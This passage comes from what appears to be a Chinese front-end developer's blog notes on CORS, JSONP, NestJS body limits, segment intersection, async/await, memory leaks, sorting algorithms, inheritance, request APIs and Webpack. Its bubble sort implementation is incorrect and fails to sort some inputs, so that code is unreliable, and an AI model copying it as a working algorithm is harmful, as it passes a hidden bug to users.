指定当浏览器的 credentials 设置为 true 时,在跨域请求时会带上 Cookies 进行身份验证。如果是简单请求,但没有带上 Access-Control-Allow-Credentials: true ,这时浏览器不会将相应的响应内容返回给请求的发起者,响应会被忽略;如果是 预检请求 ,带上 Access-Control-Allow-Credentials: true 则表示是否可以使用 credentials

Access-Control-Allow-Methods

用于 预检请求 ,指明实际请求所允许使用的 HTTP 方法

语法:

Access-Control-Allow-Methods: <method>[, <method>]*

Access-Control-Allow-Headers

用于 预检请求 ,指明实际请求中允许携带的头部字段

语法:

Access-Control-Allow-Headers: <field-name>[, <field-name>]*

HTTP 请求头字段

Origin

表明 预检请求 或 实际请求 的源站

Access-Control-Request-Method

用于 预检请求 ,表示将实际请求所使用的 HTTP 方法告诉服务器

语法:

Access-Control-Request-Method: <method>

Access-Control-Request-Headers

用于 预检请求 ,表示将实际请求所携带的头部字段告诉服务器

语法:

Access-Control-Request-Headers: <field-name>[, <field-name>]*

JSONP

原理

利用 script 标签没有同源限制的特点

优缺点

优点: 兼容性好,可跨域
缺点: 只支持 get 方法,可能会受到 XSS 攻击

流程

  1. 浏览器端声明一个回调函数,参数为跨域请求后的数据,例如:
window.jsonpCallback = (responseData) => {
  // 处理跨域请求返回的数据
}
  1. 创建一个 script 标签, src 为跨域 API 的地址,将第一步定义好的回调函数名附在地址上,例如 /cross-origin-api/getUser?callback=jsonpCallback
  2. 服务端收到请求后,将返回数据作为参数传入回调中,生成一个调用回调函数的字符串, 'jsonpCallback({ data: 666 })' ,将生成的字符串返回给浏览器
  3. 浏览器得到返回的字符串后,将字符串作为代码执行,也就是会执行第一步声明的回调函数:
// 也就是执行了:
window.jsonpCallback({ data: 666 })

postMessage

postMessage 可以安全地实现跨域通信,一般用在以下场景:

  • 多个页面之间的数据传递(无论是否跨域)
  • 页面与嵌套的 iframe 之间传递数据

语法如下:

otherWindow.postMessage(message, targetOrigin, [transfer])

在其他窗口中,只要在 window 下监听 message 事件,即可收到消息。

需要注意的是,收到消息时记得要判断一下消息是否来自期望的源,把非预期的源的消息都过滤掉,保证安全。

WebSocket

WebSocket 是一种双向的通信协议,可以跨域使用,在建立连接时使用的是 HTTP 协议,之后的通信就与 HTTP 无关了。

Nginx 代理

同源策略是对浏览器与服务端之间通信的限制,服务端之间并没有这个限制。

那么,只要在中间再搭一层 Nginx ,其服务与浏览器同源,与实际的业务服务端不同源,在浏览器对 Nginx 服务器发起请求时,将请求转发到实际的业务服务器,即可解决跨域问题。

window.name + iframe

location.hash + iframe

document.domain + iframe

参考

NestJS 修改 POST 请求 body 大小限制

关于 POST 请求的大小限制

根据网上随处可查到的资料,HTTP 规范没有强制限制 POST 请求内容的大小,一般是由浏览器或者服务端去限制。

NestJS 对 POST 请求的限制

最近在写 NestJS 时,遇到了一个报错 request entity too large
显然,字面上看,就是请求的 body 太大,超过了 NestJS 的限制

我们使用的是默认的底层,也就是 express ,因此这个是由 express 那边限制的
express 官方文档 也可以看到,默认限制是 100kb

image

修改限制

根据上述文档,我们只需要能修改那个 limit 配置即可

我们在 NestJS 项目的 main.ts 中加入以下代码:

app.use(express.json({ limit: '1mb' }))

这行代码可以成功运行,问题似乎也解决了。

但是这边有个隐藏的坑:

当我们使用 nest-cli 初始化项目后,可以看到在 package.json 中有 @types/express 这个包,但没有 express 本体。
由于 NestJS 底层默认使用 express ,因此 node_modules 里一般是会存在 express 包的。
因此我们用 import * as express from 'express' 引入使用 express 的功能,也是能正常运行的。

然而,在代码中使用 package.json 中没有声明的依赖,肯定是有风险的。
如果我们只使用 express 的 TypeScript 类型声明,那没问题,上述这个机制反而方便了开发。
但是我们使用了具体的功能,假设以后整个仓库换了 npm 包管理工具, node_modules 里面的依赖不再是扁平的,那代码就无法运行了。

做法1

因此,更保险的做法,我们可以只引入 express 底层用的 body-parser 库:

import * as bodyParser from 'body-parser'

app.use(bodyParser.json({ limit: '1mb' }))

做法2

当然,我们也可以直接在我们的依赖包里加上 express

预想

其实最好的做法还是 NestJS 官方提供个配置供修改

判断两条线段是否相交

问题

在空间中有两条线段 P, Q ,由 4 个点组成,P1P2 ,Q1Q2 ,已知 4 个点的坐标,怎么判断两条线段是否相交?

快速排斥实验和跨立实验

只有同时通过这两个实验,这两条线段才是相交的。

已知点:

P1(x1, y1), P2(x2, y2), Q1(x3, y3), Q2(x4, y4)

快速排斥实验

这个实验主要是为了快速排除两条线段不相交的情况。

我们知道,一条线段两个点分别向水平和竖直方向扩展,可以得到一个矩形,那么,两条线段就可以得到两个矩形,如果这两个矩形是不相交的,那么这两条线段一定是不相交的。如果两个矩形相交呢?那我们还不能判断线段是否相交,需要再进行跨立实验才能确定,如下图:

快速排斥实验

快速排斥实验的公式就是判断两个矩形是否相交:

const passTest = (
  // 判断 x 轴
  Math.max(x1, x2) >= Math.min(x3, x4) &&
  Math.max(x3, x4) >= Math.min(x1, x2) &&
  // 判断 y 轴
  Math.max(y1, y2) >= Math.min(y3, y4) &&
  Math.max(y3, y4) >= Math.min(y1, y2)
)

公式得到一个布尔值,表示是否通过实验,如果不通过,则表示线段不相交,可以直接得出结论;如果通过,则表示线段可能相交,需要继续进一步判断。

跨立实验

到这一步可以用向量来解决。

首先需要定义什么是跨立,举个例子,我们把线段 P 延长,得到一条直线,当线段 Q 的两个端点,分别在直线的两侧时,则说明线段 Q 跨立于线段 P 。

由这个定义可以得到,当两条线段相互跨立时,它们是相交的。

跨立

那么如何判断 Q 是否跨立 P 呢?我们知道,向量的叉乘,结果是一个向量,方向是垂直于两个向量组成的平面的,结果的值可能大于 0 或者小于 0 (为 0 时两个向量平行),表示方向是向里或者向外,跟两个向量的相对位置有关,可以用右手判断。

我们可以取两个辅助向量, P1Q1, P1Q2 ,分别与向量 P1P2 做叉乘,如果 P1Q1 与 P1Q2 分别在 P1P2 的两侧,那么两个叉乘的结果一定是一个正数跟一个负数,也就是相乘小于 0 。根据这点,我们就可以知道 Q 跨立 P 的条件了:

Q 跨立 P = P1P2 x P1Q1 * P1P2 x P1Q2 < 0

如果想判断 Q 的一个端点在 P 上的情况,判定条件改成 <= 0 即可。

如下图:

Q跨立P

这边有个可能产生疑问的点,就是为什么需要进行两次跨立实验呢?即要判断 Q 跨立 P ,也要判断 P 跨立 Q 呢?判断其中一个不够吗?

是的,只判断一个是不够的,比如下面这种情况:

Q跨立P但不相交

Q 跨立 P ,但是两条线段明显不相交,因此要反过来再判断 P 是否也跨立 Q 。

结论

因此,要判断两条线段是否相交,需要进行如下判断:

判断线段相交流程图

判断线段与矩形相交

在我的流程图项目中,实际上要判断的是线段跟矩形是否相交,那要怎么做呢?

按照上面的思路,先进行快速排斥实验,我们只需要构建一个矩形,如果不通过,则不相交,这没问题,那通过了呢?表示相交吗?不是的,比如这种情况:

线段与矩形相交

那么快速排斥实验就没有用了吗?不是的,它还是可以快速排除掉一些不相交的情况,虽然跟接下来的步骤结合起来确实有点鸡肋。

那接下来要怎么做呢?其实比较简单的方式是,把矩形的 4 条边都取出来,分别与线段判断是否相交即可。如果要再判断线段是否在矩形内,再加上判断两个端点是否在矩形内即可。

除了快速排斥实验,我们换一种思路,可以快速得出一些相交的情况,即判断线段是否有端点在矩形内,这个比快速排斥实验更简单。

总结一下,有几种方式可以判断线段与矩形是否相交

方式一:

  1. 判断两端点是否至少有一个在矩形内,如果有,则相交
  2. 如果没有,说明如果要相交,线段一定是穿过矩形的,必然与矩形中一条对角线相交,这时只需要判断线段与两条对角线是否相交

方式二:

  1. 进行快速排斥实验,如果没通过,则不相交(这步也可以不做)
  2. 如果通过了,判断线段与矩形每条边是否相交

总之,最后都是转换为两条线段相交的问题,如果比较懒,直接跟 4 条边判断就行,就是比较耗费性能。

对比一下,跟 4 条边判断,最多需要进行 4 次快速排斥实验, 8 次跨立实验。
而先判断端点的话,最多要判断 2 次端点是否在矩形内,2 此快速排斥实验, 4 次跨立实验。

ES6 async await

概念

ES2017 引入的 async, await 实际上是 Generator 函数的语法糖,使异步操作的写法更加方便。

(既然是语法糖,那我们就可以尝试用 Generator 自己去手写一个 async, await 了 😆 )

跟 Generator 函数比较,可以发现,语法上,就是把 * 号换成 asyncyield 关键字换成 await 而已。但是,肯定不只是替换关键字这么简单,不然为何不用 Generator 。

对 Generator 的改进

  1. 内置执行器,不用像 Generator 函数返回迭代器那种模式那样,手动去执行 next
  2. 更好的语义
  3. async 函数的返回值是 Promise

实现一个 async

假设有以下代码:

function getAsyncValue () {
  return new Promise((resolve, reject) => {
    setTimeout(resolve, 10, 123)
  })
}

async function asyncFunction (p) {
  console.log('param: ', p)
  const value = await getAsyncValue()
  return value
}

asyncFunction(666).then((result) => {
  console.log(result)
})

// param: 666
// 123

如果只依赖 Generatoryield 语法,不使用 async, await ,但要实现同样效果的话,首先把 await 替换成 yield ,然后实现 async 包装:

const _async = (generator) => {
  return function (...args) {
    // async 函数返回一个 Promise
    return new Promise((resolve, reject) => {
      // Promise 内部会自动将 Generator 函数返回的迭代器执行到最后
      const it = generator(...args)
      const step = (nextFunction) => {
        let next
        try {
          next = nextFunction()
        } catch (e) {
          reject(e)
        }
        if (next.done) {
          return resolve(next.value)
        }
        // 其中, next 的执行时机就是 yield 后面的 Promise 状态改变的时候
        // next 的参数就是上一个 yield 的值
        Promise.resolve(next.value).then((value) => {
          return step(() => it.next(value))
        }, (reason) => {
          return step(() => it.throw(reason))
        })
      }
      step(() => it.next())
    })
  }
}

最后就可以改写成非语法糖的 Generator 语法形式:

function getAsyncValue () {
  return new Promise((resolve, reject) => {
    setTimeout(resolve, 10, 123)
  })
}

const asyncFunction = _async(function* (p) {
  console.log('param: ', p)
  const value = yield getAsyncValue()
  return value
})

asyncFunction(666).then((result) => {
  console.log(result)
})

// param: 666
// 123

参考

http://es6.ruanyifeng.com/#docs/async

JavaScript 垃圾回收与内存泄漏

垃圾回收

引用计数

判断对象是否被其他对象引用,如果没有,则可回收(零引用)

缺陷:无法处理循环引用导致内存泄漏

例如:

function func () {
  var obj1 = {}
  var obj2 = {}
  obj1.a = obj2
  obj2.a = obj1
}

func()

上述示例中,即使没有再用到 obj1, obj2 ,但它们各自被引用了一次,因此不会被回收

标记清除

从根对象(全局对象)开始遍历所有可以获得的对象,如果对象无法获得,则可以回收

上述循环引用的示例中,在函数调用后,从根对象开始都无法再获得 obj1obj2 ,因此可以被回收

限制:要清除一个对象,需要手动将它变成无法获得,比如 obj = null 等。个人认为这不是个问题。

参考

MDN

引起内存泄漏的原因

全局变量

一般是无意中声明的,例如:

function func () {
  property = 1
}

还有一种情况是 this 的使用问题:

function func () {
  this.property = 1
}

// 直接在全局作用域调用
func()

上述 this 在非严格模式下指向的是全局对象,可以通过 use strict 避免这种情况的发生。

计时器或回调

一般是使用 setInterval 忘了清除导致的,不仅回调内的变量不会被清除,回调函数引用的外层作用域的变量也无法被正常回收:

let a = 1
setInterval(function () {
  let b = a
}, 1000)

还有一点是各类监听事件的回调,例如 addEventListeners 的回调,在不需要监听后,如果没有 remove ,在旧的 IE 下会导致泄漏,因为旧 IE 用的是引用计数算法,无法清除循环引用。

尽管现代浏览器可以识别循环引用,开发者不必再手动 remove 监听的回调,但动手清理一下还是个比较好的实践,特别是在编写库的时候,可以防止在旧浏览器上出现这类泄漏

离 DOM 引用

有时候我们将 DOM 的引用存入 JS 数据结构中进行一些操作。当要删除这个 DOM 节点时,记得把 JS 代码中的这个 DOM 引用也释放掉:

var $button = document.getElementById('button')

// ...do something

$button.remove()

// 记得清除引用
$button = null

闭包

var theThing = null;
var replaceThing = function () {
  var originalThing = theThing;
  var unused = function () {
    if (originalThing)
      console.log('hi');
  };
  theThing = {
    longStr: new Array(1000000).join('*'),
    someMethod: function () {
      console.log('someMessage');
    }
  };
};
setInterval(replaceThing, 1000);

上述代码中,

replaceThing 函数中的作用域同时被 unused 与 theThing.someMethod 所引用,由于 theThing 为全局变量,所以被 unused 与 theThing 引用的变量不会被释放,这样被 unused 引用的 originalThing 就没有被释放(这块即为泄露的内存)

网上讨论是浏览器引擎作用域设计问题,不是泄漏问题,这边不做讨论。

识别内存泄漏的方法

浏览器方面,使用 Chrome devtools 的 Performance monitor 面板,一段时间内多次点击回收垃圾按钮(Collect garbage),如果 JS heap size 曲线呈现上升趋势而不是趋于平稳,则多半发生了内存泄漏问题。

如何预防和解决内存泄漏问题

  1. 养成良好的编码习惯,减少全局变量的定义
  2. 计时器记得 clear ,监听的事件在不用时记得 remove
  3. 对 DOM 的引用要注意,没有使用后需要手动释放内存
  4. 关于闭包不做解释。

后话

对于闭包的问题,明天就 0202 年了,只要设计得当,对于闭包的利用价值是大于防止泄漏的,而且很大一部分泄漏问题是历史遗留问题,比如 IE 的垃圾回收 bug ,在今天大可不必刻意去避免闭包的使用。

参考

基本排序算法

冒泡排序

function bubbleSort (array) {
  const length = array.length
  for (let i = 0; i < length; i++) {
    for (let j = i + 1; j < length; j++) {
      if (array[j] < array[j - 1]) {
        [array[j], array[j - 1]] = [array[j - 1], array[j]]
      }
    }
  }
}

最好情况时间复杂度:O(n)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(n^2)
空间复杂度:O(1)
稳定性:稳定

选择排序

function selectionSort (array) {
  const length = array.length
  for (let i = 0; i < length; i++) {
    let minIndex = i
    for (let j = i + 1; j < length; j++) {
      if (array[j] < array[minIndex]) minIndex = j
    }
    [array[i], array[minIndex]] = [array[minIndex], array[i]]
  }
}

最好情况时间复杂度:O(n^2)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(n^2)
空间复杂度:O(1)
稳定性:不稳定

插入排序

function insertionSort (array) {
  const length = array.length
  for (let i = 1; i < length; i++) {
    const insertValue = array[i]
    // 注:此处可用二分查找
    let j = i - 1
    for (; j >=0; j--) {
      if (array[j] > insertValue) {
        array[j + 1] = array[j]
      } else break
    }
    array[j + 1] = insertValue
  }
}

最好情况时间复杂度:O(n)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(n^2)
空间复杂度:O(1)
稳定性:稳定

快速排序

每轮快排的本质就是把基准数字放到排序后它应该在的位置
例如 [3, 2, 1]3 为基准,一轮排序后为 [2, 1, 3]3 已经到了排序后它应该所在的位置

function sort (array, startIndex = 0, endIndex = array.length - 1) {
  if (startIndex >= endIndex) return
  const pivot = array[startIndex]
  let left = startIndex
  let right = endIndex
  while (left < right) {
    while (left < right && array[right] > pivot) right--
    while (left < right && array[left] <= pivot) left++
    if (left < right) {
      [array[left], array[right]] = [array[right], array[left]]
    }
  }
  [array[startIndex], array[left]] = [array[left], array[startIndex]]
  sort(array, startIndex, left - 1)
  sort(array, left + 1, endIndex)
}

function quickSort (array) {
  sort(array)
}

非递归版:

function partition(array, startIndex = 0, endIndex = array.length - 1) {
  if (startIndex >= endIndex) return -1
  const pivot = array[startIndex]
  let left = startIndex
  let right = endIndex
  while (left < right) {
    while (left < right && array[right] > pivot) right--
    while (left < right && array[left] <= pivot) left++
    if (left < right) {
      [array[left], array[right]] = [array[right], array[left]]
    }
  }
  [array[startIndex], array[left]] = [array[left], array[startIndex]]
  return left
}

function quickSort (array) {
  const stack = [[0, array.length - 1]]
  while (stack.length) {
    const pair = stack.pop()
    const pivot = partition(array, pair[0], pair[1])
    if (pivot !== -1) {
      stack.push([pivot + 1, pair[1]])
      stack.push([pair[0], pivot - 1])
    }
  }
}

最好情况时间复杂度:O(nlogn)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(nlogn)
最好情况空间复杂度:O(logn)
平均空间复杂度:O(n)
稳定性:不稳定

堆排序

二叉堆的概念: #19

// 最小堆下沉操作
function down (array, position, length) {
  const target = array[position]
  let parentIndex = position
  let leftChildIndex = 2 * parentIndex + 1
  while (leftChildIndex < length) {
    const rightChildIndex = leftChildIndex + 1
    if (rightChildIndex < length && array[rightChildIndex] < array[leftChildIndex]) leftChildIndex = rightChildIndex
    if (array[leftChildIndex] >= target) break
    array[parentIndex] = array[leftChildIndex]
    parentIndex = leftChildIndex
    leftChildIndex = 2 * parentIndex + 1
  }
  array[parentIndex] = target
}

function heapSort (array) {
  const length = array.length
  // 构建二叉堆
  for (let i = Math.floor((length - 2) / 2); i >= 0; i--) {
    down(array, i, length)
  }
  // 将二叉堆逐个输出,把删除的元素移动到堆末尾
  for (let i = length - 1; i >= 0; i--) {
    const first = array[0]
    array.push(first)
    if (i !== 0) {
      array[0] = array.splice(i, 1)[0]
      down(array, 0, i)
    } else {
      array.splice(i, 1)
    }
  }
}

最好情况时间复杂度:O(nlogn)
最坏情况时间复杂度:O(nlogn)
平均时间复杂度:O(nlogn)
空间复杂度:O(1)
稳定性:不稳定

归并排序

重点在于“合并”,用到三个指针, p1, p2 分别指向待合并的两个数组, p 指向合并后的数组,对比 p1, p2 所指的值,把较小的值放入合并的数组,并移动较小值的指针,直到一个数组被全部遍历,将未遍历完的数组后面的元素全部放在合并数组的后面。

function merge (array, start, mid, end) {
  const mergedArray = []
  let p1 = start
  let p2 = mid + 1
  let p = 0
  while (p1 <= mid && p2 <= end) {
    if (array[p1] <= array[p2]) {
      mergedArray[p++] = array[p1++]
    } else {
      mergedArray[p++] = array[p2++]
    }
  }
  while (p1 <= mid) mergedArray[p++] = array[p1++]
  while (p2 <= end) mergedArray[p++] = array[p2++]
  const length = mergedArray.length
  for (let i = 0; i < length; i++) {
    array[i + start] = mergedArray[i]
  }
}

function mergeSort (array, start = 0, end = array.length - 1) {
  if (end > start) {
    const mid = start + Math.floor((end - start) / 2)
    mergeSort(array, start, mid)
    mergeSort(array, mid + 1, end)
    merge(array, start, mid, end)
  }
}

最好情况时间复杂度:O(nlogn)
最坏情况时间复杂度:O(nlogn)
平均时间复杂度:O(nlogn)
空间复杂度:O(n)
稳定性:稳定

希尔排序

本质上希尔排序是插入排序的改进。
上述得到,插入排序最好情况的时间复杂度是 O(n) ,即已经是有序的情况,实际上,数组越是有序,插入排序需要对比的次数就越少。
那么,可以对数组先进行一个粗粒度的处理,例如给定一个跨度 x ,把间隔为 x 的元素取出来单独进行插入排序,然后再缩小跨度,直到跨度为 1 ,这样,在某些情况下就可以把时间复杂度降低到 O(n^2) 以下。
但是遇到一些极端情况,性能反而会比插入排序差,例如 [2, 1, 5, 3, 7, 6, 9, 8] 这组数字,按照 4 或者 2 的跨度处理,顺序都是不变的,最后跨度为 1 时,做了一遍插入排序,前面分组的操作就是白做了。
为此,可以改进跨度增量的算法来弥补此缺陷,参考 漫画:什么是希尔排序?

function shellSort (array) {
  const length = array.length
  let d = length
  while (d > 1) {
    d = Math.floor(d / 2)
    for (let i = d; i < length; i += d) {
      const insertValue = array[i]
      let j = i - d
      for (; j >= 0; j -= d) {
        if (array[j] > insertValue) {
          array[j + d] = array[j]
        } else break
      }
      array[j + d] = insertValue
    }
  }
}

平均时间复杂度:O(n^1.3)
空间复杂度:O(1)
稳定性:不稳定

计数排序

计数排序适用于符合以下两种条件的数列:

  1. 数列中最大值与最小值的差不是很大
  2. 数列都为整数
function countSort (array) {
  const length = array.length
  const min = Math.min(...array)
  // JS 数组不用初始化大小,因此不用求最大值
  const countArray = []
  for (let i = 0; i < length; i++) {
    const diff = array[i] - min
    const value = countArray[diff]
    countArray[diff] = (value || 0) + 1
  }
  const countLength = countArray.length
  let sum = 0
  for (let i = 0; i < countLength; i++) {
    sum = sum + (countArray[i] || 0)
    countArray[i] = sum
  }
  const sortedArray = []
  // 倒序遍历是为了变成稳定排序
  for (let i = length - 1; i >= 0; i--) {
    const diff = array[i] - min
    sortedArray[countArray[diff] - 1] = array[i]
    countArray[diff]--
  }
  return sortedArray
}

最好情况时间复杂度:O(n + m)
最坏情况时间复杂度:O(n + m)
平均时间复杂度:O(n + m)
空间复杂度:O(m) , 如果算上结果数组,是 O(n + m)
稳定性:稳定(不做求和操作的计数为不稳定排序)

以上 m 为数列中最大值与最小值的差

桶排序

适用于数列分布较均匀的整数或小数

function bucketSort (array) {
  const length = array.length
  // 桶的个数设置为等于元素个数
  const buckets = []
  const max = Math.max(...array)
  const min = Math.min(...array)
  const range = (max - min) / (length - 1)
  for (let i = 0; i < length; i++) {
    const index = Math.floor((array[i] - min) / range)
    if (!buckets[index]) buckets[index] = []
    buckets[index].push(array[i])
  }
  // 对每一个桶进行 O(nlogn) 的排序
  let index = 0
  const bucketsLength = buckets.length
  for (let i = 0; i < bucketsLength; i++) {
    if (buckets[i]) {
      buckets[i].sort((a, b) => a - b)
      const bucketLength = buckets[i].length
      for (let j = 0; j < bucketLength; j++) {
        array[index++] = buckets[i][j]
      }
    }
  }
}

时间复杂度:O(n + m + n(logn - logm))
空间复杂度:O(n + m)
稳定性:稳定(内部的 nlogn 排序是稳定的话)

以上 m 为桶的个数

基数排序

把字符串按位拆分,对每一位进行一次计数排序,可用于较长的数字,例如手机号,或者对于字母,例如单词

function radixSort (array) {
  const length = array.length
  let maxStringLength = 0
  // 找出最大字符串长度
  for (let i = 0; i < length; i++) {
    maxStringLength = Math.max(array[i].toString().length, maxStringLength)
  }
  // 对于每一位做计数排序
  for (let i = maxStringLength - 1; i >= 0; i--) {
    const countArray = []
    const sortedArray = []
    for (let j = 0; j < length; j++) {
      const char = array[j].toString()[i]
      const index = char != null ? char.codePointAt(0) : 0
      countArray[index] = (countArray[index] || 0) + 1
    }
    const countLength = countArray.length
    for (let j = 1; j < countLength; j++) {
      countArray[j] = (countArray[j] || 0) + (countArray[j - 1] || 0)
    }
    for (let j = length - 1; j >= 0; j--) {
      const char = array[j].toString()[i]
      const index = char != null ? char.codePointAt(0) : 0
      sortedArray[countArray[index] - 1] = array[j]
      countArray[index]--
    }
    array = sortedArray
  }
  return array
}

时间复杂度:O(k(n + m))
空间复杂度:O(n + m)
稳定性:稳定

以上 k 为最长字符长度, m 为计数排序最大值与最小值的差值

总结

排序算法 最好时间复杂度 最坏时间复杂度 平均时间复杂度 空间复杂度 稳定性
冒泡排序 O(n) O(n^2) O(n^2) O(1) 稳定
选择排序 O(n^2) O(n^2) O(n^2) O(1) 不稳定
插入排序 O(n) O(n^2) O(n^2) O(1) 稳定
快速排序 O(nlogn) O(n^2) O(nlogn) O(logn) 不稳定
堆排序 O(nlogn) O(nlogn) O(nlogn) O(1) 不稳定
归并排序 O(nlogn) O(nlogn) O(nlogn) O(n) 稳定
希尔排序 O(n^1.3) O(n^2) O(n^1.3) O(1) 不稳定
计数排序 O(n + m) O(m),算上存结果的数组是 O(n + m) 稳定
桶排序 O(n + m + n(logn - logm)) O(n + m) 稳定
基数排序 O(k(n + m)) O(n + m) 稳定

参考

漫画:“排序算法” 大总结

JavaScript 利用原型实现继承

背景

利用寄生组合继承

不说花里胡哨的,直接手写代码

实现

假设给定一个父类 SuperClass ,实现一个继承它的子类 SubClass

// 给定的父类
function SuperClass () {
  this.superProperty = 1
}

SuperClass.prototype.superMethod = function () {
  console.log('super method')
}

// 实现继承的子类
function inheritPrototype (superClass, subClass) {
  const tempInstance = Object.create(superClass.prototype)
  // 不打破原型链,在 temp 实例上挂一个 constructor
  tempInstance.constructor = subClass
  subClass.prototype = tempInstance
}

function SubClass (...rest) {
  // 继承构造函数创建的属性
  SuperClass.call(this, ...rest)
  this.subProperty = 2
}

// 继承原型上的方法
inheritPrototype(SuperClass, SubClass)

// 在子类原型上可继续添加新方法
SubClass.prototype.subMethod = function () {
  console.log('sub method')
}

hint

inheritPrototype 方法中, temp 对象的原型链:

temp.constructor === SubClass // true
temp.__proto__.contructor === SuperClass // true

参考

回忆杀:JavaScript的继承

JavaScript 网络请求的几种方式

XMLHttpRequest

XMLHttpRequest(XHR)对象可以与服务器交互,可以从 URL 获取数据,而无需刷新整个页面。

基本用法

function sendAjax() {
  //构造表单数据
  var formData = new FormData();
  formData.append('username', 'johndoe');
  formData.append('id', 123456);
  //创建xhr对象 
  var xhr = new XMLHttpRequest();
  //设置xhr请求的超时时间
  xhr.timeout = 3000;
  //设置响应返回的数据格式
  xhr.responseType = "text";
  //创建一个 post 请求,采用异步
  xhr.open('POST', '/server', true);
  //注册相关事件回调处理函数
  xhr.onload = function(e) { 
    if(this.status == 200||this.status == 304){
        alert(this.responseText);
    }
  };
  xhr.ontimeout = function(e) { ... };
  xhr.onerror = function(e) { ... };
  xhr.upload.onprogress = function(e) { ... };
  
  //发送数据
  xhr.send(formData);
}

readyState

XMLHttpRequest.UNSENT === 0 // 代理被创建,但尚未调用 open() 方法。
XMLHttpRequest.OPENED=== 1 // open() 方法已经被调用。
XMLHttpRequest.HEADERS_RECEIVED=== 2 // send() 方法已经被调用,并且头部和状态已经可获得。
XMLHttpRequest.LOADING === 3 // 下载中; responseText 属性已经包含部分数据。
XMLHttpRequest.DONE === 4 // 下载操作已完成。

取消请求

xhr.abort()

Fetch

Fetch 提供了对 RequestResponse 对象的通用定义,使之可以被应用到更多场景中,例如 Service Worker、Cache API 等。

基本用法

// Example POST method implementation:

postData('http://example.com/answer', {answer: 42})
  .then(data => console.log(data)) // JSON from `response.json()` call
  .catch(error => console.error(error))

function postData(url, data) {
  // Default options are marked with *
  return fetch(url, {
    body: JSON.stringify(data), // must match 'Content-Type' header
    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
    credentials: 'same-origin', // include, same-origin, *omit
    headers: {
      'user-agent': 'Mozilla/4.0 MDN Example',
      'content-type': 'application/json'
    },
    method: 'POST', // *GET, POST, PUT, DELETE, etc.
    mode: 'cors', // no-cors, cors, *same-origin
    redirect: 'follow', // manual, *follow, error
    referrer: 'no-referrer', // *client, no-referrer
  })
  .then(response => response.json()) // parses response to JSON
}

fetch 返回一个 Promise ,并 resolve 一个 Response 对象,只有在网络故障或主动中断请求时会 reject 。

fetch 与 jQuery.ajax() 的不同

  • fetch 接收到代表错误的 HTTP 状态码时,不会 reject ,即使收到 404 或 500 状态码,也会 resolve (resolve 返回值的 ok 属性会为 false),只有在网络故障或主动中断请求时会 reject 。
  • fetch() 不接受跨域 cookie ,不能用 fetch() 建立跨域会话,其他网站的 Set-Cookie 头部字段会被忽略。
  • fetch 不会发送 cookie ,除非使用了 credentials

取消请求

通过 AbortSignal API 来中断 fetch 发起的请求。

var controller = new AbortController();
var signal = controller.signal;

var downloadBtn = document.querySelector('.download');
var abortBtn = document.querySelector('.abort');

downloadBtn.addEventListener('click', fetchVideo);

abortBtn.addEventListener('click', function() {
  controller.abort();
  console.log('Download aborted');
});

function fetchVideo() {
  ...
  fetch(url, {signal}).then(function(response) {
    ...
  }).catch(function(e) {
    reports.textContent = 'Download error: ' + e.message;
  })
}

Axios

axios 是一个开源的 http 库,基于 Promise ,可用于浏览器与 Node.js 端。

基本用法

// Send a POST request
axios({
  method: 'post',
  url: '/user/12345',
  data: {
    firstName: 'Fred',
    lastName: 'Flintstone'
  }
}).then((response) => {});

取消请求

使用 CancelToken.source

const CancelToken = axios.CancelToken;
const source = CancelToken.source();

axios.get('/user/12345', {
  cancelToken: source.token
}).catch(function (thrown) {
  if (axios.isCancel(thrown)) {
    console.log('Request canceled', thrown.message);
  } else {
    // handle error
  }
});

axios.post('/user/12345', {
  name: 'new name'
}, {
  cancelToken: source.token
})

// cancel the request (the message parameter is optional)
source.cancel('Operation canceled by the user.');

使用 CancelToken 构造函数:

const CancelToken = axios.CancelToken;
let cancel;

axios.get('/user/12345', {
  cancelToken: new CancelToken(function executor(c) {
    // An executor function receives a cancel function as a parameter
    cancel = c;
  })
});

// cancel the request
cancel();

jQuery.ajax()

基本用法

$.ajax({
  url: '/url',
  type: 'POST',
  data: {
    form: 'data',
  },
  dataType: 'json',
}).done((response) => {
}).fail(() => {
}).always(() => {})

返回一个 jqXHR 对象

取消请求

const jqXHR = $.ajax({
  // settintgs...
})

jqXHR.abort()

参考

JavaScript 实现 call, apply 与 bind

call

Function.prototype._call = function (thisArg) {
  if (typeof this !== 'function') {
    throw TypeError('Not callable')
  }
  if ((function () { return this })() !== undefined) {
    // 非严格模式
    if (thisArg == null) thisArg = window || global
    else if (typeof thisArg !== 'object' && typeof thisArg !== 'function') {
      // 原始值
      thisArg = new Object(thisArg)
    }
  }
  const symbol = Symbol('call')
  thisArg[symbol] = this
  const result = thisArg[symbol](...Array.from(arguments).slice(1))
  delete thisArg[symbol]
  return result
}

apply

Function.prototype._apply = function (thisArg, argsArray) {
  if (typeof this !== 'function') {
    throw TypeError('Not callable')
  }
  if ((function () { return this })() !== undefined) {
    // 非严格模式
    if (thisArg == null) thisArg = window || global
    else if (typeof thisArg !== 'object' && typeof thisArg !== 'function') {
      // 原始值
      thisArg = new Object(thisArg)
    }
  }
  const symbol = Symbol('apply')
  thisArg[symbol] = this
  const result = thisArg[symbol](...Array.from(argsArray))
  delete thisArg[symbol]
  return result
}

bind

Function.prototype._bind = function (thisArg) {
  if (typeof this !== 'function') {
    throw TypeError('Not callable')
  }
  const originalFunction = this
  const argsList = [].slice.call(arguments, 1)
  const bound = function () {
    argsList.push(...arguments)
    if (new.target !== undefined) {
      // new 了 bind 后的函数,走 new 的流程
      Object.setPrototypeOf(this, originalFunction.prototype)
      return originalFunction.call(this, ...argsList)
    } else {
      return originalFunction.call(thisArg, ...argsList)
    }
  }
  return bound
}

参考

francecil/leetcode#10

Webpack 从读取配置文件到生成打包产物经历了哪些过程

基于个人理解的过程,可能有疏漏或者错误的地方,欢迎指出

  1. Webpack 根据命令行参数,读取配置文件,与默认的配置合并,得到最终的配置
  2. 根据配置中的 entry ,得知打包的入口,可能是一个或者多个文件
  3. 从入口文件开始解析,先交给对应 Loader 去处理,得到处理后的文件,例如入口是 ts 文件,处理后得到 js 文件
  4. 将处理后的文件用 babel 库处理得到 AST ,根据 AST 可以得到该文件所引用的模块
  5. 从文件引入的模块继续解析新的模块,重复3、4步骤,最后得到依赖图(dependency graph)
